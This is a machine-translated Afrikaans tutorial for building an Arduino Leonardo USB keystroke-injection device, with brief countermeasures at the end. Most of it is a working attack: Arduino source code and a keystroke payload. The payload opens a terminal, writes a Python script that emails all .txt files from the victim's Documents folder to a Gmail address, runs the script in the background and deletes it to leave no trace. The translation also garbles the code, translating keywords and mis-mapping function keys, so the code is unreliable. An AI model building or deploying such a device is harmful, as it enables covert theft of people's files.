INHOUDSOPGAWE:

Demo (HID) en voorkoming van Arduino -sleutelbord: 4 stappe (met foto's)
Demo (HID) en voorkoming van Arduino -sleutelbord: 4 stappe (met foto's)

Video: Demo (HID) en voorkoming van Arduino -sleutelbord: 4 stappe (met foto's)

Video: Demo (HID) en voorkoming van Arduino -sleutelbord: 4 stappe (met foto's)
Video: 35 Scary Ghost-video's: megacompilatie van 2023 [V1] 2024, November
Anonim
Image
Image
Die bou van die toestel
Die bou van die toestel

In hierdie projek gaan ons 'n arduino leonardo gebruik om 'n moontlike USB -aanval te simuleer met behulp van HID (humain interface device).

Ek het hierdie tutoriaal ontwerp om hackers nie te help nie, maar om u 'n paar werklike gevare te wys en hoe u uself teen die gevare kan beskerm. Hierdie toestel is nie 'n toestel wat op enige platform vir hackers gebruik kan word nie; dit is meer 'n bewys van die konsep in detail.

Ons gaan die volgende leer:

- hoe om arduino leonardo te gebruik om die sleutelbord na te boots

- hoe om data vanaf SD -kaarte te lees

- hoe om 'n python -script te skep wat lêers skandeer en dit per e -pos stuur

- hoe u uself kan beskerm teen USB -inbraaktoestelle

Stap 1: materiaal

Dele:

1. Arduino leonardo

2. mikro -USB -kaartleser

3. 'n paar GB SD -kaart

4. drukknop soos hierdie (VCC, grond en sein)

5. vroulike-manlike en vroulike-vroulike springkabels

6. mikro -USB na USB -kabel

Stap 2: Bou die toestel

Die bou van die toestel
Die bou van die toestel

Kom ons kyk na die werkbeginsel voor die bouinstruksie:

Arduino leonardo kan optree soos 'n menslike koppelvlak -toestel (HID) en kan dus muis en sleutelbord navolg. Ons gaan hierdie funksie gebruik om 'n terminale (in UBUNTU linux) oop te maak en 'n klein skrif te skryf wat toegang tot die /Documents -lêergids in die tuisgids van die gebruiker kan kopieer.txt -lêers daar en dit per e -pos aan iemand stuur. Gaan na die volgende stap as u meer inligting wil uitvind.

Omdat dit 'n demo -toestel is, is dinge regtig eenvoudig, ons gaan niks soldeer nie.

Bou instruksies

Voordat ons begin, moet ek die aangehegte lêers nagaan, ek het 'n fritzing -skema bygevoeg en al die nodige lêers

1. Monteer die komponente:

* Steek die mikro -USB -kabel in die arduino

* koppel die sleutel skakelaar aan op die arduino (grond, vcc en uit module op D8)

* koppel die kaartleser aan die arduino (met behulp van ICSP -kop). Arduino leonardo het nie die ICSP -kop aan digitale penne gekoppel nie, dus moet u die kaartleser aan die ICSP -kop koppel. U kan hier 'n paar tekeninge van die ICSP vind: https://learn.sparkfun.com/tutorials/installing-an…. Koppel die SS -pen aan die digitale pen 10

2. kry die arduino -kode, u kan my arduino -bewaarplek op github kloon: https://github.com/danionescu0/arduino en na projekte/keyboard_exploit gaan of dit van onder af kry:

#sluit "Keyboard.h" in

#include "SPI.h" #include "SD.h" String fileameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Slaap::"; String commandStartingPoint = "Opdrag::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HOOG; leemte opstelling () {pinMode (knoppie, INPUT); Serial.begin (9600); Keyboard.begin (); as (! SD.begin (chipSelect)) {Serial.println ("Kaart misluk, of nie teenwoordig nie!"); terugkeer; }} void lus () {int buttonState = digitalRead (buttonPin); as ((buttonState! = previousButtonState) && (buttonState == HOOG)) {sdFileToKeyboard (); Serial.println ("opgelaai!"); vertraging (500); } vorigeButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); as (! dataFile) {Serial.println ("Die gespesifiseerde lêernaam is nie op die SD -kaart nie, kyk na filenameOnCard!"); } Snaarlyn; terwyl (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (reël); sendToKeyboard (reël); } dataFile.close (); } void sendToKeyboard (string line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (reël); terugkeer; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Teks:"); Serial.println (reël); Sleutelbord.println (reël); druk Enter (); terugkeer; } Serial.println ("Command:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String command = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command gevind:"); Serial.println (command); Keyboard.press (getCommandCode (command)); vertraging (delayBetweenCommands); }} Keyboard.releaseAll (); vertraging (delayBetweenCommands); } ongeldig pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); vertraging (slaapbedrag); } char getCommandCode (String text) {char textCharacters [2]; text.toCharArray (textCharacters, 2); char code = textCharacters [0]; kode = (teks == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: kode; kode = (teks == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: kode; kode = (teks == "KEY_LEFT_ALT")? KEY_LEFT_ALT: kode; kode = (teks == "KEY_UP_ARROW")? KEY_UP_ARROW: kode; kode = (teks == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: kode; kode = (teks == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: kode; kode = (teks == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: kode; kode = (teks == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: kode; kode = (teks == "KEY_BACKSPACE")? KEY_BACKSPACE: kode; kode = (teks == "KEY_TAB")? KEY_TAB: kode; kode = (teks == "KEY_RETURN")? KEY_RETURN: kode; kode = (teks == "KEY_ESC")? KEY_ESC: kode; kode = (teks == "KEY_INSERT")? KEY_INSERT: kode; kode = (teks == "KEY_DELETE")? KEY_DELETE: kode; kode = (teks == "KEY_PAGE_UP")? KEY_PAGE_UP: kode; kode = (teks == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: kode; kode = (teks == "KEY_HOME")? KEY_HOME: kode; kode = (teks == "KEY_END")? KEY_END: kode; kode = (teks == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: kode; kode = (teks == "KEY_F1")? KEY_F1: kode; kode = (teks == "KEY_F2")? KEY_F2: kode; kode = (teks == "KEY_F3")? KEY_F3: kode; kode = (teks == "KEY_F4")? KEY_F4: kode; kode = (teks == "KEY_F5")? KEY_F5: kode; kode = (teks == "KEY_F6")? KEY_F6: kode; kode = (teks == "KEY_F7")? KEY_F7: kode; kode = (teks == "KEY_F8")? KEY_F8: kode; kode = (teks == "KEY_F9")? KEY_F9: kode; kode = (teks == "KEY_F10")? KEY_F10: kode; kode = (teks == "KEY_F11")? KEY_F1: kode; kode = (teks == "KEY_F12")? KEY_F2: kode;

retourkode;

}

3. Laai die kode op na die arduino, kies 9600 baud rate, die seriële poort en arduino leonardo

4. Formateer die sd -kaart met FAT16 of FAT32

5. As u die github -repo van bo af gekloon het, kopieer die hack.txt -lêer op die kaart, indien nie, word die lêer hieronder gelys:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib import glob, os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email. MIMETekst invoer MIMETekst vanaf e -pos. Gebruik invoer COMMASPACE, formaat datum vanaf e -pos invoer Encoders

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Dokumente'

subject = body = 'Lêers van gekapte rekenaar'

header = 'Aan: {0} nFrom: {1} nTema: {2} n'.format (to_address, smtp_user, subject)

def sendMail (na, onderwerp, teks, lêers = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMETekst (teks)) vir lêers in lêers: deel = MIMEBase ('toepassing', 'octet-stroom') part.set_payload (oop (lêer, 'rb'). Lees ()) Encoders.encode_base64 (deel) deel. add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (file)) msg.attach (deel)

bediener = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], subject, body, glob.glob ("{0}/{1}/*. txt".format (expanduser ("~"), scan_documents_location)))

Slaap:: 50 opdrag:: KEY_ESC Slaap:: 100: x Slaap:: 500 nohup python hack.py & slaap:: 700 rm -rf hack.py Slaap:: 400 opdrag:: KEY_LEFT_ALT, KEY_F4

6. Wysig die volgende reëls:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'receiver_address'

En vervang met u e -posadresse

7. Verwyder die kaart en steek dit in die arduino -kaartleser

Stap 3: Hoe dit in besonderhede werk

Hoe die aanval sal werk:

1. As die knoppie ingedruk word, sal die leonardo die sd -kaart lees met 'n sd -kaartleser. 'N Spesiale lêer met sleutels en sleutelkombinasie sal op die kaart verskyn. Die lêernaam is "hack.txt".

Die lêer kan rou teks bevat, en dit sal net soos dit na die sleutelbord oorgedra word.

Dit kan ook spesiale opdragte soos "Slaap::" en "Opdrag::" bevat.

'N Reël soos:

Slaap:: 200 beteken 'n slaap van 200 ms

'N Reël soos:

Opdrag:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t beteken links ctrl ingedruk, links alt ingedruk, t gedruk en alles los

U kan alle spesiale sleutels hier nagaan:

2. Leonardo sal reël vir reël lees, die opdragte interpreteer en die sleutels op die sleutelbord navolg. Die lêer "hack.txt" bevat 'n kombinasie van sleutels wat die volgende doen (vir UBUNTU linux):

a. maak 'n terminaal oop (CTRL + ALT + T)

b. maak 'n python -lêer oop om te skep met behulp van vi (skryf "vi hack.py"

c. skryf 'n python -script binne -in wat alle tekslêers in die tuisgids van dokumente versamel en dit na 'n gespesifiseerde gmail -adres stuur

d. voer die lêer op die agtergrond uit ("nohup python hack.py &")

e. verwyder die lêer (rm -rf hack.py)

f. sluit die terminaal (ALT + F4)

Hierdie hele ding loop binne 'n paar sekondes en laat geen spore agter nie.

Verbeterings en probleemoplossing

* U sal miskien agterkom dat ek die python -lêer skryf nadat ek 'n terminale oopgemaak het. 'n beter manier om dit te bereik, is om dit êrens te huisves en af te laai met die opdrag "wget some_url", en dit dan hernoem na hack.py

* Ons kan ook 'n gereedgemaakte gebruik vir die doelgerigte bedryfstelsel aflaai of gebruik

* wifi kan by die module gevoeg word, en die hacks kan via WIFI opgelaai word

* u kan arduino micro (wat baie kleiner is) gebruik en die gebruikskode daarin insluit (om dit kleiner te maak)

Beperkings

1. Omdat die gesimuleerde toestel (sleutelbord en muis) geen terugvoer het nie, weet ons nie wat sal gebeur nadat 'n opdrag uitgevaardig is nie, wat beteken dat ons vertragings moet gebruik. Ek gee byvoorbeeld 'n opdrag om terminale oop te maak, maar ek weet nie wanneer dit eintlik oop sal wees nie, so ek moet 'n arbitrêre vertraging spesifiseer om te verseker dat die karakters wat ingevoer word nie verlore gaan nie.

2. Ons mag toestemmingsprobleme ondervind, soos toegang tot die USB -poort of toestemming om iets te installeer

3. Die tikspoed is nie so groot op Leonardo nie

4. Sal slegs op 'n doelgerigte bedryfstelsel werk (in ons geval UBUNTU linux)

In die volgende stap sal ons probeer om hierdie beperkings te ontgin om te voorkom dat ons rekenaar gehack word

Stap 4: Teenmaatreëls

1. Skakel USB -poorte uit

-vir Windows kan u hierdie tutoriaal nagaan:

2. Witlys USB -toestelle:

- vir vensters:

2. Sluit jou rekenaar as jy nie weg is nie

3. Moenie as wortel aanmeld nie (vereis wagwoorde om enigiets te installeer)

4. Hou u self op datum (outomatiese opdaterings aan)

Aanbeveel: